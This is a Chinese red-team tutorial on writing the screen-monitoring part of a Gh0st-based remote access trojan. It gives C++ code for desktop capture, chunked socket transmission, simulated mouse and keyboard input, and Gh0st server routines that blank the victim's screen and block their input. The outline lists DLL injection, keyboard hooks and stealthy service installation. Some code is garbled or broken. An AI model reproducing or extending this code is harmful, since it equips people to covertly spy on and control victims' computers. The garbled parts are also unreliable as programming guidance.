红队专题
- 招募六边形战士队员
- [24]屏幕监控-(1)屏幕查看与控制技术的讲解
- 图像压缩算法
- 图像数据转换
- 其他
- [25]---屏幕监控(2)查看屏幕的实现
- 添加 CScreen类
- 获取图像
- 声明变量
- stdafx.h 头文件处理
- [26]---屏幕监控(3)查看屏幕的实现
- 不使用算法处理的发送函数
- 7.1 屏幕抓图显示
- 创建对话框工程,拉入图片显示控件
- 修改控件为位图 为控件增加变量
- 类CScreen_demoDlg添加Copybitmap成员函数
- 添加确定按钮消息并添加代码
- BMP位图结构分析,将抓取的图像保存成文件
- BITMAP 位图结构
- bmp文件结构解析
- tagBITMAPFIlEHEADER
- BITMAPINFOHEADER
- 调色板数据 tagRGBQUAD
- tagBITMAPINFO
- 位图数据
- 保存 bmp 图像
- 添加类的成员函数
- 7.3 虚拟键盘和虚拟鼠标的一个小demo
- 认识几个API
- SetCursorPos
- mouse_event
- keybd_event
- 添加相应变量
- 7.4 gh0st远程桌面管理的分析 抓取与传输
- 文件望远镜搜索OnScreenspy() 事件
- Loop_ScreenManager
- CScreenManager 构造函数
- WorkThread
- CScreenSpy构造函数
- ConstructBI 函数定义
- sendFirstScreen
- 7.5 服务端编写
- 7.6 主控端的编写
- 7.7 完善主控端
- 桌面管理并添加代码
[24]屏幕监控-(1)屏幕查看与控制技术的讲解
屏幕监控的流程
服务端
while(true)
{
获取图像数据();
//
发送图像数据();
}
客户端
while()
{
//
接受图像数据();
显示图像();
}
查看屏幕的 define 宏信号
1024*768 分辨率 产生 大小 bmp
2.25M
肉眼 每秒24帧
基本流程:获取图像 — 发送图像 — 显示图像
实际流程:获取图像 — 压缩/转换图像 — 发送图像 — 解压/转换图像 — 显示图像
图像压缩算法
char *p; // 字符数组
int GetScreenSize();
p = new GetScreenSize(); p[] = {BYTE}; //unsigned char
p[100] = {aaaccccbbbbbbaeccefsgsdf...};
RLE算法(Run-Length Encoding) LZW算法(Lempel-Ziv-Welch Encoding) 霍夫曼压缩 RAR - LZW
RLE:{aaaccccbbbbbba} 压缩{a3c4b5a1} 解压{aaaccccbbbbba}
适用于屏幕数据中存在大量同样数据
RLE变种:{abcbcbcbcabcbca} 压缩{a1bc4a1bc2a1}
LZW:{abcbcbcbcabcbcab} 压缩字典{ab:1 cb:2 ca:3}{12223221}
解压:根据字典来解压 适用于任何情况
图像数据转换
zlib.lib JPEG类(有损压缩)
1024*768 分辨率
164kb
http://www.cctry.com/thread-50457-1-1.html //zlib库的使用
http://www.cctry.com/thread-5653-1-1.html //zlib库的例子
CapScreenJpeg JPEG算法
其他
隔行扫描算法 屏幕分块获取 屏幕数据判断
http://www.cctry.com/thread-45471-1-1.html //隔行扫描
隔行扫描:
灰鸽子 Delphi
DRAT Delphi
Gh0st C++
LZW:
Vipshell
守候远控
压缩库
PCShare
综合使用 + 汇编实现
1:150 倍
[25]—屏幕监控(2)查看屏幕的实现
多线程 + 阻塞socket
1000-2000台
完成端口
60000 自由管理
DLL形式 注入-无进程
屏幕传输的压缩解压方案
键盘钩子
try优化
定制化远控
界面
命令
传输结构体
server.cpp 安装服务的操作
主函数中 入口 注释 保留创建服务
int _tmain(int argc, _TCHAR* argv[])
{
/*
SERVICE_TABLE_ENTRY DispatchTable[] =
{
//服务程序的名称和入口点
{(wchar_t*)ServiceName,ServiceMain}, //服务名
//SERVICE_TABLE_ENTRY结构必须以“NULL”结束
{NULL,NULL}
};
//连接服务控制管理器,开始控制调度程序线程
StartServiceCtrlDispatcherW(DispatchTable);
InstallService();
*/
::CloseHandle(CreateThread(NULL,0,RunService,NULL,0,NULL));
while(true)
{
Sleep(10000);
}
return 0;
}
创建线程 点击主机Runservice
子系统 入口点
//#pragma comment( linker, “/subsystem:windows /entry:wmainCRTStartup” )
有命令行能够显示
添加 CScreen类
获取图像
#include “StdAfx.h”
#include “Screen.h”
#include “math.h”
void CScreen::GetScreen()
{
CDC* pDeskDC = CWnd::GetDesktopWindow()->GetDC(); //获取桌面画布对象 设备描述表CDC类指针 当前画布的GDI句柄
CRect rc; // 定义矩形
CWnd::GetDesktopWindow()->GetClientRect(rc); //获取屏幕的客户区域
int width = GetSystemMetrics(SM_CXSCREEN); //获取屏幕的宽度
int height = GetSystemMetrics(SM_CYSCREEN); //获取屏幕的高度
CDC memDC; //定义一个内存画布
memDC.CreateCompatibleDC(pDeskDC); //创建一个兼容的画布
CBitmap bmp;
bmp.CreateCompatibleBitmap(pDeskDC,width,height); //创建兼容位图
memDC.SelectObject(&bmp); //选中位图对象
BITMAP bitmap;
bmp.GetBitmap(&bitmap);
panelsize = 0; //记录调色板大小 类成员 double panelsize;
//需要增加颜色判断算法
//bitmap.bmBitsPixel = 4; //更改颜色
if (bitmap.bmBitsPixel<16) //判断是否为真彩色位图
{
panelsize = pow(2.0,(double)bitmap.bmBitsPixel*sizeof(RGBQUAD));
}
HeadTotal = (int)panelsize + sizeof(BITMAPINFO);
pBMPINFO = (BITMAPINFO*)LocalAlloc(LPTR,sizeof(BITMAPINFO)+(int)panelsize); // 结构体 BITMAPINFO *pBMPINFO;
pBMPINFO->bmiHeader.biBitCount = bitmap.bmBitsPixel;//4
pBMPINFO->bmiHeader.biClrImportant = 0;
pBMPINFO->bmiHeader.biCompression = 0;
pBMPINFO->bmiHeader.biHeight = height;
pBMPINFO->bmiHeader.biPlanes = bitmap.bmPlanes;
pBMPINFO->bmiHeader.biSize = sizeof(BITMAPINFO); // 位图大小 像素大小
pBMPINFO->bmiHeader.biSizeImage = bitmap.bmWidthBytes*bitmap.bmHeight;
pBMPINFO->bmiHeader.biWidth = width;
pBMPINFO->bmiHeader.biXPelsPerMeter = 0;
pBMPINFO->bmiHeader.biYPelsPerMeter = 0;
memDC.BitBlt(0,0,width,height,pDeskDC,0,0,SRCCOPY); // 绘画
TotalSize = bitmap.bmWidthBytes * bitmap.bmHeight;
pData = new BYTE[TotalSize]; // 压缩发送 类成员 私有变量 无符号指针
if(::GetDIBits(memDC.m_hDC,bmp,0,bitmap.bmHeight,pData,pBMPINFO,DIB_RGB_COLORS)==0)
{
printf("Return 0\n");
//delete pData;
pData = NULL;
return;
}
}
声明变量
#include "Common.h"
#include "MySocket.h"
class CScreen
{
private:
void GetScreen();
void SendBmpHeaderinfo();
void SendBmpData();
BYTE* pData;
BITMAPINFO *pBMPINFO;
CMySocket m_sock;
UINT TotalSize;
int HeadTotal;
double panelsize;
public:
HANDLE m_h;
void CleanData();
void SendScreenData();
CScreen(void);
~CScreen(void);
bool flag;
SOCKET m_sock_screen; // 初始化获取到的socket 的值
};
stdafx.h 头文件处理
// stdafx.h : 标准系统包含文件的包含文件,
// 或是经常使用但不常更改的
// 特定于项目的包含文件
//
#pragma once
#include <afx.h>
#include <afxwin.h> // CDC
#include "targetver.h"
#include <stdio.h>
#include <tchar.h>
// TODO: 在此处引用程序需要的其他头文件
#include <winsock2.h>
#include <windows.h>
[26]—屏幕监控(3)查看屏幕的实现
不使用算法处理的发送函数
common定义消息值 (server,client)
#define SCREEN 0x0E
- 头信息
void CScreen::SendBmpHeaderinfo()
{
BMPDATA bmpdata;
memset(&bmpdata,0,sizeof(BMPDATA));
bmpdata.Id = 0;
bmpdata.Show = false;
bmpdata.Size = TotalSize;
bmpdata.HeadSize = HeadTotal;
memcpy(&bmpdata.bmpinfo,pBMPINFO,HeadTotal);
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SCREEN;
memcpy(msg.context,&bmpdata,sizeof(BMPDATA));
m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S)); //MySocket 类的成员
}
- 位图结构体
- 位图信息
void CScreen::SendBmpData()
{
MSGINFO_S msg;
memset(&msg,0,sizeof(MSGINFO_S));
msg.Msg_id = SCREEN;
BMPDATA bmpdata;
memset(&bmpdata,0,sizeof(BMPDATA));
bmpdata.Id = 1;
int Count = TotalSize / 512 + 1;
if(TotalSize % 512 == 0)
{
Count = Count - 1;
}
bmpdata.Show = false;
UINT Begin,End;
End = 512;
for(int i=0;i<Count;i++)
{
memset(bmpdata.Data,0,512);
memset(msg.context,0,sizeof(msg.context));
Begin = i * 512;
bmpdata.Begin = Begin;
if(i == Count - 1)
{
bmpdata.Show = true;
bmpdata.Id = 2;
bmpdata.Size = TotalSize;
for(UINT j=Begin,k=0;j<TotalSize;j++,k++)
{
bmpdata.Data[k] = pData[j];
}
}
else
{
for(UINT j=Begin,k=0;k<512;j++,k++)
{
bmpdata.Data[k] = pData[j];
}
}
//printf("%d\n",i);
memcpy(msg.context,(char*)&bmpdata,sizeof(BMPDATA));
m_sock.MySend(m_sock_screen,(char*)&msg,sizeof(MSGINFO_S));
//发送数据
}
}
BYTE pData[100];
MSG msg; //10;
UINT flag = 0;
for(;;)
{
//pData 读取 flag --- flag + 10 //第一次 0 - 10 //第二次 10 - 20 //第三次 20 - 30
//flag = flag + 10
//send();
}
7.1 屏幕抓图显示
客户端: visual stdio2010 (学员自己下载,安装)
服务端: visual C++ 6.0 +platform SDK February2003 (学员自己下载,安装)
MSDN文档
https://learn.microsoft.com/zh-cn/
(1)大规模软件开发的设计思想。
(2)Windows下图形界面编程、各种控件的实际应用(本教程将会使用到各种Windows控件)。
(3)Windows下多线程程序的开发、以及线程同步,互斥等。
(4)Windows下程序间利用Socket通信。
(5)详细理解Winddos下远程注入技术。
(6)Windows服务程序的开发。(服务方式启动是服务端启动方式的一种)
(7)如何书写更加简洁 ,易于维护的代码。
通过本教程学员将得到:
(1) 本远程管理的源代码。
(2) 教程中所有Demo的源码。
(3) 作者的一些小工具。
课时安排:(每节课20—30分钟,太长的教程看了就想睡觉:-D)
(1) 客户端界面的设计和编写(10课时)(注:支持窗口的伸缩以及窗口中控件的伸缩)
(2) 从Gh0st客户端中分离出Socket数据传输的内核、分析数据传输的代码体会作者的设计思想,并加入客户端(5课时)
(3) 创建服务端,并从Gh0st服务端中分离出Socket数据传输的内核,分析数据传输的代码体会作者的设计思想,并加入服务端(5课时)
(4) 远程终端管理的编写(5课时)
(5) 远程进程管理的编写(4课时)
(6) 远程窗口管理的编写(4课时)(注:支持窗口的隐藏,最大化,最小化)
(7) 远程桌面管理的编写(6课时)(注:可以从中学习到BMP位图格式,屏幕的抓取,像素的比较)
(8) 远程文件管理的编写(6课时)
(9) 远程语音管理的编写(4课时)
(10) 远程视频管理的编写(6课时)(注:支持无驱摄像头,视频压缩,视频录像)
(11) 服务端安装和启动的编写:服务启动(5课时)ActiveX启动(4课时)
(12) 远程服务管理的编写(6课时)
(13) 远程注册表管理的编写(6课时)
(14) 从客户端生成服务端,远程连接数据加密(4课时)
HDC CreateDC( //得到指定设备名的设备描述表
LPCTSTR lpszDriver, // driver name 设备名
LPCTSTR lpszDevice, // device name 特殊设备名
LPCTSTR lpszOutput, // not used; should be NULL 通常设置为NULL 兼容x86x64
CONST DEVMODE* lpInitData // optional printer data 驱动程序的初始化DEVMODE结构指针 NULL
);
得到设备名将设备打开
HDC CreateCompatibleDC( //为设备描述表创建兼容的内存`设备描述表`
HDC hdc // handle to DC 设备句柄
);
返回值为设备的内存描述表
将打开的设备描述表选定到内存
int GetDeviceCaps( //得到指定设备的信息 高度 宽度
HDC hdc, // handle to DC //设备句柄 设备描述表
int nIndex // index of capability //指定要得到那个方面的信息
);
https://learn.microsoft.com/zh-cn/windows/win32/api/wingdi/nf-wingdi-getdevicecaps
HBITMAP CreateCompatibleBitmap( // 创建一个与设备描述表兼容的位图
HDC hdc, // handle to DC //设备描述表
int nWidth, // width of bitmap, in pixels //位图的宽度
int nHeight // height of bitmap, in pixels //位图的高度
);
HGDIOBJ SelectObject( 把对象选到内存设备描述表中
HDC hdc, // handle to DC //设备描述表
HGDIOBJ hgdiobj // handle to object //要加入的对象
);
设备描述表与新加入的对象兼容关联
BOOL BitBlt( //对指定的原设备环境区域中的像素进行位块转换 可以理解为抓图
HDC hdcDest, // handle to destination DC //设备对象
int nXDest, // x-coord of destination upper-left corner //目标矩型区域的左上角x坐标
int nYDest, // y-coord of destination upper-left corner //目标矩形区域的左上角y坐标
int nWidth, // width of destination rectangle //目标巨型区域的逻辑宽度
int nHeight, // height of destination rectangle //目标巨型区域的逻辑高度
HDC hdcSrc, // handle to source DC //源设备句柄
int nXSrc, // x-coordinate of source upper-left corner //源矩型区域的左上角x坐标
int nYSrc, // y-coordinate of source upper-left corner //源矩型区域的左上角y坐标
DWORD dwRop // raster operation code //光栅操作代码
);
创建对话框工程,拉入图片显示控件
新建工程 基本对话框
修改控件为位图 为控件增加变量
类CScreen_demoDlg添加Copybitmap成员函数
HBITMAP
Copybitmap(LPRECT lprect)
给区域 拷贝出来 bitmap
HDC hscrdc, hmemdc;// 屏幕和内存设备描述表
HBITMAP hbitmap, holdbitmap;// 位图句柄
int nx, ny, nx2, ny2;// 选定区域坐标
int nwidth, nheight;// 位图宽度和高度
int xscrn, yscrn;// 屏幕分辨率
// 确保选定区域不为空矩形
if (IsRectEmpty(lprect))
return NULL;
//为屏幕创建设备描述表 整个桌面
hscrdc = CreateDC("display", NULL, NULL, NULL);
//为屏幕设备描述表创建兼容的内存设备描述表
hmemdc = CreateCompatibleDC(hscrdc);
// 获得选定区域坐标
nx = lprect->left;
ny = lprect->top;
nx2 = lprect->right;
ny2 = lprect->bottom;
// 获得屏幕分辨率
xscrn = GetDeviceCaps(hscrdc, HORZRES);
yscrn = GetDeviceCaps(hscrdc, VERTRES);
//确保选定区域是可见的
if (nx < 0)
nx = 0;
if (ny < 0)
ny = 0;
if (nx2 > xscrn)
nx2 = xscrn;
if (ny2 > yscrn)
ny2 = yscrn;
nwidth = nx2 - nx;
nheight = ny2 - ny;
// 创建一个与屏幕设备描述表兼容的位图
hbitmap = CreateCompatibleBitmap(hscrdc, nwidth, nheight);
// 把新位图选到内存设备描述表中
holdbitmap = (HBITMAP)SelectObject(hmemdc, hbitmap);
// 把屏幕设备描述表拷贝到内存设备描述表中
BitBlt(hmemdc, 0, 0, nwidth, nheight,hscrdc, nx, ny, SRCCOPY);
//得到屏幕位图的句柄
hbitmap = (HBITMAP)SelectObject(hmemdc, holdbitmap);
//清除
DeleteDC(hscrdc);
DeleteDC(hmemdc);
// 返回位图句柄
return hbitmap;
添加确定按钮消息并添加代码
LPRECT temprect; //创建一块区域
HBITMAP tempmap;
temprect = new RECT();
temprect->bottom = 200;
temprect->left = 0;
temprect->right = 200;
temprect->top = 0;
tempmap = Copybitmap(temprect);
//显示获取的屏幕
m_pic.SetBitmap(tempmap);
delete temprect;
//CDialog::OnOK();
更改资源名 IDC_STATIC_BITMAP
添加变量 m_pic 为 控件形式
c + w
BMP位图结构分析,将抓取的图像保存成文件
BITMAP 位图结构
遵守了 微软的bmp 结构 还是一些数据
一个bmp文件由四部分组成:
struCt tagBITMAPFIlEHEADER 文件头
strut tagBITMAPINFOHEADER 位图信息头
typedef tagRGBQUAD RGB
位图数据
bmp文件结构解析
tagBITMAPFIlEHEADER
typedef struCt tagBITMAPFIlEHEADER
{
WORD bftype; //BM 两个字节 头文件 表示 是个 bitmap文件
DWORD bfsiZe: //位图文件大小 四个字节 双字
WORD bfReservedl; //必须为0
WORD bgReserved2: //必为0
DWORD bfoffBits: // 图像数据在 文件内的起始地址 字节
}BITMAPFILEHEADER;
高高低低
16 94 04 00 49416
16进制 --> 10进制 /1024 = 293 kb
第多少个 字节 为数据文件
36 00 00 00
36 --> 54
BITMAPINFOHEADER
BITMAPINFOHEADER数据结构用于说明位图的大小,其定义为:
type struct tagBITMAPINFOHEADER
// 结构体成员
{
DWORD biSize: //结构BITMAPINFOHEADER所占用的存储容量,固定值为40
28 00 00 00 --> 10进制 40
DWORD biWldth; //给出该BMP文件所描述位图的宽度与高度
DWORD biHeight; //给出该BMP文件所描述位图的宽度与高度
C8 00 00 00 200
F4 01 00 00 1F4 500
尺寸 200 x 500
WORD biPlanes: //它代表目标设备的平面数必须为1。
WORD 2个字节
01 00
WORD biBitCount:
//它确定每个像素所需要的位数。
当图像为单色时,该字段的取值为1;
当图像为16色时,该字段的取值为4;
当图像为256 色时,该字段的取值为8;
当图像为真彩色时,该字段的取值为24。
18 -> 24
DWORD biCOmpression;//它代表bottom—up类型位图的 压缩类型
E0 93 04 00 493E0 300000
DWORD 8个字节
4xBYTE = DWORD
4x2 = 8 bit
DWORD biSiZelmage; //给出该BMP 内图像数据占用的空间大小
DWORD biXPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
DWORD biYPelsPerMeter://它们分别以每米像素数为单位,给出位图目的设备水平以及垂直方向的 分辨率
DWORD biClrUsed; //给出位图实际使用的颜色表中的 颜色变址数
DWORD biClrlmportant;//它给出位图显示过程中 重要颜色的变址数。
}BITMAPINFOHEADER;
调色板数据 tagRGBQUAD
typedef struct tagRGBQUAD
{
BYTE rgbBlue;
BYTE rgbGreen;
BYTE rgbRed;
BYTE rgbReserved; //它不代表任何意 义,必须取固定值00
}RGBQUAD;
tagBITMAPINFO
bmp结构还提供了另外一个结构类型
成员定义
tyPedef stmCt tagBITMAPINFO
{
BITMAPINFOHEADER bmiHeader:
RGBQUAD bmiC010ur[1];
}BITMAPINFO;
位图数据
注意位图数据的存放是倒序的 文件的第一行正是图像的最后一行
保存 bmp 图像
添加类的成员函数
BOOL
SaveBmp(CString lpFileName, HBITMAP hBitmap)
HDC hDC;
//设备描述表
int iBits;
//当前显示分辨率下每个像素所占字节数
WORD wBitCount;
//位图中每个像素所占字节数
//定义调色板大小, 位图中像素字节大小 , 位图文件大小 , 写入文件字节数
DWORD dwPaletteSize=0,dwBmBitsSize,dwDIBSize, dwWritten;
BITMAP Bitmap;
//位图属性结构
BITMAPFILEHEADER bmfHdr;
//位图文件头结构
BITMAPINFOHEADER bi;
//位图信息头结构
LPBITMAPINFOHEADER lpbi;
//指向位图信息头结构 lp 指针 需要分配空间使用
HANDLE fh, hDib, hPal;
HPALETTE hOldPal=NULL;
//定义文件,分配内存句柄,调色板句柄
//计算位图文件每个像素所占字节数
hDC = CreateDC("DISPLAY",NULL,NULL,NULL);
iBits = GetDeviceCaps(hDC, BITSPIXEL) *
GetDeviceCaps(hDC, PLANES);
DeleteDC(hDC);
iBits=24;
if (iBits <= 1)
wBitCount = 1;
else if (iBits <= 4)
wBitCount = 4;
else if (iBits <= 8)
wBitCount = 8;
else if (iBits <= 24)
wBitCount = 24;
else
wBitCount = 32;
//计算调色板大小
if (wBitCount <= 8)
dwPaletteSize=(1<<wBitCount)*sizeof(RGBQUAD);
//设置位图信息头结构
GetObject(hBitmap, sizeof(BITMAP), (void*)&Bitmap);
bi.biSize = sizeof(BITMAPINFOHEADER);
bi.biWidth = Bitmap.bmWidth;
bi.biHeight = Bitmap.bmHeight;
bi.biPlanes = 1;
bi.biBitCount = wBitCount;
bi.biCompression = BI_RGB;
bi.biSizeImage = 0;
bi.biXPelsPerMeter = 0;
bi.biYPelsPerMeter = 0;
bi.biClrUsed = 0;
bi.biClrImportant = 0;
dwBmBitsSize = ((Bitmap.bmWidth*wBitCount+31)/32)*4*Bitmap.bmHeight;
//为位图内容分配内存
hDib = GlobalAlloc(GHND,dwBmBitsSize+dwPaletteSize+sizeof(BITMAPINFOHEADER));
lpbi = (LPBITMAPINFOHEADER)GlobalLock(hDib);
*lpbi = bi;
// 处理调色板
hPal = GetStockObject(DEFAULT_PALETTE);
if (hPal)
{
hDC = ::GetDC(NULL);
hOldPal=SelectPalette(hDC,(HPALETTE)hPal,FALSE);
RealizePalette(hDC);
}
// 获取该调色板下新的像素值
GetDIBits(hDC,hBitmap,0,(UINT)Bitmap.bmHeight,(LPSTR)lpbi+sizeof(BITMAPINFOHEADER)+dwPaletteSize, (BITMAPINFO *)lpbi,DIB_RGB_COLORS);
//恢复调色板
if (hOldPal)
{
SelectPalette(hDC, hOldPal, TRUE);
RealizePalette(hDC);
::ReleaseDC(NULL, hDC);
}
//创建位图文件
fh=CreateFile(lpFileName, GENERIC_WRITE,0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL | FILE_FLAG_SEQUENTIAL_SCAN, NULL);
if (fh==INVALID_HANDLE_VALUE)
return FALSE;
// 设置位图文件头
bmfHdr.bfType = 0x4D42; // "BM"
dwDIBSize=sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize;
bmfHdr.bfSize = dwDIBSize;
bmfHdr.bfReserved1 = 0;
bmfHdr.bfReserved2 = 0;
bmfHdr.bfOffBits = (DWORD)sizeof(BITMAPFILEHEADER)+(DWORD)sizeof(BITMAPINFOHEADER)+dwPaletteSize;
// 写入位图文件头
WriteFile(fh, (LPSTR)&bmfHdr, sizeof(BITMAPFILEHEADER), &dwWritten, NULL);
// 写入位图文件其余内容
WriteFile(fh, (LPSTR)lpbi, sizeof(BITMAPINFOHEADER)+dwPaletteSize+dwBmBitsSize , &dwWritten, NULL);
//清除
GlobalUnlock(hDib);
GlobalFree(hDib);
CloseHandle(fh);
return TRUE;
void CMy_ScreenDlg::OnOK()
{
m_pic.SetBitmap(tempmap);
delete temprect;
SaveBmp("123.bmp",tempmap);
//CDialog::OnOK();
}
7.3 虚拟键盘和虚拟鼠标的一个小demo
认识几个API
SetCursorPos
左上
BOOL SetCursorPos( //将光标移动到指定位置
int X, //光标位置
int Y
);
mouse_event
VOID mouse_event( //合成鼠标动作
DWORD dwFlags, //动作的标识
DWORD dx, //将要发生动作的位置相对于当前位置的距离
DWORD dy, //
DWORD dwData, 如果dwFlags标识中含有MOUSEEVENTF_HWHEEL值,这个参数包含滚动的值
ULONG_PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-mouse_event
MOUSEEVENTF_LEFTDOWN
0x0002
MOUSEEVENTF_LEFTUP
0x0004
MOUSEEVENTF_RIGHTDOWN
0x0008
MOUSEEVENTF_RIGHTUP
0x0010
keybd_event
VOID keybd_event( //合成键盘击键动作
BYTE bVk, //虚拟键值
BYTE bScan, //硬件扫描码
DWORD dwFlags, //按下或抬起的状态
PTR dwExtraInfo //附加值
);
https://learn.microsoft.com/zh-cn/windows/win32/api/winuser/nf-winuser-keybd_event
KEYEVENTF_EXTENDEDKEY
0x0001
KEYEVENTF_KEYUP
0x0002
添加相应变量
添加鼠标"左键单击"并添加代码:
UpdateData();
SetCursorPos(m_x, m_y); //鼠标移动到指定位置
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0); //按下鼠标
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0); //抬起鼠标
添加鼠标"右键单击"并添加代码:
UpdateData();
SetCursorPos(m_x, m_y); //鼠标移动到指定位置
mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0); //按下鼠标
Sleep(10);
mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0); //抬起鼠标
添加键盘"按下"事件并添加代码:
UpdateData(TRUE);
Sleep(100);
GetDlgItem(IDC_EDIT4)->SetFocus(); // 放置焦点
keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
Sleep(1);
keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);
添加键盘"抬起"事件并添加代码:
UpdateData(TRUE);
Sleep(100);
GetDlgItem(IDC_EDIT4)->SetFocus();
//keybd_event(m_key, MapVirtualKey(m_key, 0), 0, 0);
//Sleep(1);
keybd_event(m_key, MapVirtualKey(m_key, 0), KEYEVENTF_KEYUP, 0);
ASCII码 美国信息交换标准代码
65 66 67
abc
7.4 gh0st远程桌面管理的分析 抓取与传输
从用户的点击菜单事件开始分析
文件望远镜搜索OnScreenspy() 事件
void CPcView::OnScreenspy()
{
// TODO: Add your command handler code here
BYTE bToken = COMMAND_SCREEN_SPY; // 发送命令
SendSelectCommand(&bToken, sizeof(BYTE));
}
在服务端 搜索 CKernelManager.cpp OnReceive
void CKernelManager::OnReceive(LPBYTE lpBuffer, UINT nSize) // 收到消息
case COMMAND_SCREEN_SPY: // 屏幕查看
m_hThread[m_nThreadCount++] = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Loop_ScreenManager,
(LPVOID)m_pClient->m_Socket, 0, NULL, true);
break;
创建了个 线程
Loop_ScreenManager
Loop_ScreenManager
DWORD WINAPI Loop_ScreenManager(SOCKET sRemote)
{
CClientSocket socketClient;
if (!socketClient.Connect(CKernelManager::m_strMasterHost, CKernelManager::m_nMasterPort))
return -1;
CScreenManager manager(&socketClient);
socketClient.run_event_loop();
return 0;
}
CScreenManager 构造函数
//csereenManager这个类主要用于抓取好的数据的传输和一些控制的功能
CScreenManager::CScreenManager(CClientSocket *pClient):CManager(pClient)
{
m_bAlgorithm = ALGORITHM_SCAN; // 屏幕扫描算法
m_biBitCount = 8;
m_pScreenSpy = new CScreenSpy(8);
m_bIsWorking = true;
m_bIsBlankScreen = false;
m_bIsBlockInput = false;
m_bIsCaptureLayer = false;
//启动两个功能 ControlThread 用于 主控端对服务器的控制
//workthread 的分析
m_hWorkThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, this, 0, NULL, true);
m_hBlankThread = MyCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ControlThread, this, 0, NULL, true);
}
// 创建这个线程主要是为了保持一直黑屏
DWORD WINAPI CScreenManager::ControlThread(LPVOID lparam)
{
static bool bIsScreenBlanked = false;
CScreenManager *pThis = (CScreenManager *)lparam;
while (pThis->IsConnect())
{
// 加快反应速度
for (int i = 0; i < 100; i++)
{
if (pThis->IsConnect())
{
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
__asm
{
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
}
Sleep(10);
}
else
break;
}
if (pThis->m_bIsBlankScreen)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 1, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2);
bIsScreenBlanked = true;
}
else
{
if (bIsScreenBlanked)
{
SystemParametersInfo(SPI_SETPOWEROFFACTIVE, 0, NULL, 0);
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)-1);
bIsScreenBlanked = false;
}
}
BlockInput(pThis->m_bIsBlockInput);
// 分辨率大小改变了
if (pThis->IsMetricsChange())
pThis->ResetScreen(pThis->GetCurrentPixelBits());
}
BlockInput(false);
return -1;
}
WorkThread
DWORD WINAPI CScreenManager::WorkThread(LPVOID lparam)
{
CScreenManager *pThis = (CScreenManager *)lparam;
pThis->sendBITMAPINFO();
// 发送bmp位图结构
// 等控制端对话框打开
pThis->WaitForDialogOpen();
// 等待 主控回应
pThis->sendFirstScreen(); //发送第一帧的数据
try // 控制端强制关闭时会出错
{
while (pThis->m_bIsWorking)
pThis->sendNextScreen(); //发送接下来的 数据
}catch(...){};
// CScreenSpy 类
return 0;
}
void CScreenManager::sendBITMAPINFO()
{
//m_pScreenSpy 这个变量的 定义 就是 CScreenSpy类 .h CScreenSpy *m_pScreenSpy;
//得到 bmp 结构大小
DWORD dwBytesLength = 1 + m_pScreenSpy->getBISize();
LPBYTE lpBuffer = (LPBYTE)VirtualAlloc(NULL, dwBytesLength, MEM_COMMIT, PAGE_READWRITE);
lpBuffer[0] = TOKEN_BITMAPINFO;
memcpy(lpBuffer + 1, m_pScreenSpy->getBI(), dwBytesLength - 1);
Send(lpBuffer, dwBytesLength);
VirtualFree(lpBuffer, 0, MEM_RELEASE);
}
UINT CScreenSpy::getBISize()
{
int color_num = m_biBitCount <= 8 ? 1 << m_biBitCount : 0;
return sizeof(BITMAPINFOHEADER) + (color_num * sizeof(RGBQUAD));
}
LPBITMAPINFO CScreenSpy::getBI()
{
return m_lpbmi_full;
}
//将位图结构 返回
CScreenSpy构造函数
CScreenSpy::CScreenSpy(int biBitCount, bool bIsGray, UINT nMaxFrameRate)
{
//查看 桌面 所用的 像素位
switch (biBitCount)
{
case 1:
case 4:
case 8:
case 16:
case 32:
m_biBitCount = biBitCount;
break;
default:
m_biBitCount = 8;
}
if (!SelectInputWinStation()) // 得到 当前用户控制台
{
m_hDeskTopWnd = GetDesktopWindow(); //得到桌面窗口
m_hFullDC = GetDC(m_hDeskTopWnd); //获取 DC
}
m_dwBitBltRop = SRCCOPY;
m_bAlgorithm = ALGORITHM_SCAN; // 默认使用隔行扫描算法
m_dwLastCapture = GetTickCount();
m_nMaxFrameRate = nMaxFrameRate;
m_dwSleep = 1000 / nMaxFrameRate;
m_bIsGray = bIsGray;
m_nFullWidth = ::GetSystemMetrics(SM_CXSCREEN);
m_nFullHeight = ::GetSystemMetrics(SM_CYSCREEN); //获取屏幕大小
m_nIncSize = 32 / m_biBitCount;
m_nStartLine = 0;
//根据 设备DC 创建 内存 DC
m_hFullMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hDiffMemDC = ::CreateCompatibleDC(m_hFullDC);
m_hLineMemDC = ::CreateCompatibleDC(NULL);
m_hRectMemDC = ::CreateCompatibleDC(NULL);
m_lpvLineBits = NULL;
m_lpvFullBits = NULL;
// .h LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
//位图的 信息结构 ConstructBI
m_lpbmi_line = ConstructBI(m_biBitCount, m_nFullWidth, 1);
m_lpbmi_full = ConstructBI(m_biBitCount, m_nFullWidth, m_nFullHeight);
m_lpbmi_rect = ConstructBI(m_biBitCount, m_nFullWidth, 1);
//根据设备 DC 位图结构 创建一个 BItmap
